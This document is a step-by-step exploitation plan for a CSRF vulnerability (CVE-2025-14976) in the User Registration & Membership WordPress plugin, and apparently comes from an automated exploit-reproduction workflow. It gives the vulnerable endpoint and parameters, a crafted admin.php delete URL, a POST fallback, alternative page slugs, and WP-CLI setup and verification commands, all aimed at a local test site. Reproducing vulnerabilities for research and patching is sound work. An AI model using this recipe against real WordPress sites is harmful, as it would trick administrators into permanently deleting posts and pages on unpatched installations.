Exploitation Research Plan - CVE-2025-14976

1. Vulnerability Summary

The User Registration & Membership plugin (versions <= 4.4.8) is vulnerable to Cross-Site Request Forgery (CSRF) due to missing nonce validation in the process_row_actions function. This function handles row-level actions for administrative list tables (such as the forms list). Specifically, the delete action does not verify a security nonce before calling wp_delete_post(). An attacker can trick an authenticated administrator into visiting a crafted URL, resulting in the permanent deletion of arbitrary WordPress posts or pages.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin.php
• Vulnerable Action: delete
• Query Parameters:
  • page: The slug of the plugin page (typically user-registration).
  • action: Set to delete.
  • id: The ID of the post/form to be deleted.
• Authentication: Required (Administrator).
• Preconditions: An administrator must be logged in and tricked into clicking a link or visiting a page that triggers the GET/POST request.

3. Code Flow

1. The plugin registers an admin menu page with the slug user-registration (see includes/admin/class-ur-admin-menus.php).
2. The page callback initializes a class extending UR_List_Table (defined in includes/abstracts/abstract-ur-list-table.php).
3. The list table class (e.g., UR_Admin_Forms_Table) calls process_row_actions() during its lifecycle (usually within prepare_items() or via an admin_init hook).
4. process_row_actions() (inferred) checks $_REQUEST['action'].
5. If action === 'delete', it retrieves $_REQUEST['id'].
6. The code calls wp_delete_post( $id, true ) without calling check_admin_referer() or wp_verify_nonce().
7. The post is permanently deleted from the database.

4. Nonce Acquisition Strategy

No nonce is required.
The essence of this vulnerability (CVE-2025-14976) is the complete absence of nonce validation in the process_row_actions function for the delete action. Therefore, an attacker does not need to extract a nonce to perform the exploit.

5. Exploitation Strategy

The exploit will be demonstrated by deleting a dummy post using the administrator's session.

Step-by-Step Plan:

1. Preparation: Create a target post and note its ID.
2. Trigger Request: Use the http_request tool to simulate an administrator clicking a malicious link.
3. Request Details:
   • Method: GET (or POST, but GET is often sufficient for WP_List_Table actions if not restricted).
   • URL: http://localhost:8080/wp-admin/admin.php?page=user-registration&action=delete&id=[TARGET_ID]
   • Headers: Must include valid administrator cookies.
4. Verification: Check if the post still exists using WP-CLI.

6. Test Data Setup

1. Target Post: Create a standard WordPress post to be deleted.

   wp post create --post_type=post --post_title="Sensitive Data" --post_status=publish
   # Note the returned ID (e.g., 123)
   

2. Plugin Form (Optional): Create a plugin form to see if the action is intended for forms but works on any post.

   wp post create --post_type=user_registration --post_title="Registration Form 1" --post_status=publish
   # Note the returned ID (e.g., 124)
   

7. Expected Results

• The HTTP request should return a 302 Redirect (back to the list table) or a 200 OK.
• The post with the specified id should be permanently removed from the wp_posts table.
• The wp post get [ID] command should return an error indicating the post does not exist.

8. Verification Steps

After executing the http_request, run the following to confirm deletion:

# Check the specific post ID
wp post get [TARGET_ID] --field=ID

# If the command returns "Error: Could not find the post with ID [TARGET_ID]", the exploit was successful.

9. Alternative Approaches

If the GET request fails because the plugin enforces POST (unlikely for row actions in this version), use a POST request:

• Method: POST
• URL: http://localhost:8080/wp-admin/admin.php?page=user-registration
• Body (URL-encoded): action=delete&id=[TARGET_ID]
• Content-Type: application/x-www-form-urlencoded

If the page slug is different (e.g., if targeting a different list within the plugin), try:

• page=user-registration-registrations
• page=ur-settings (if row actions exist there)

The most likely target is the primary forms list at page=user-registration.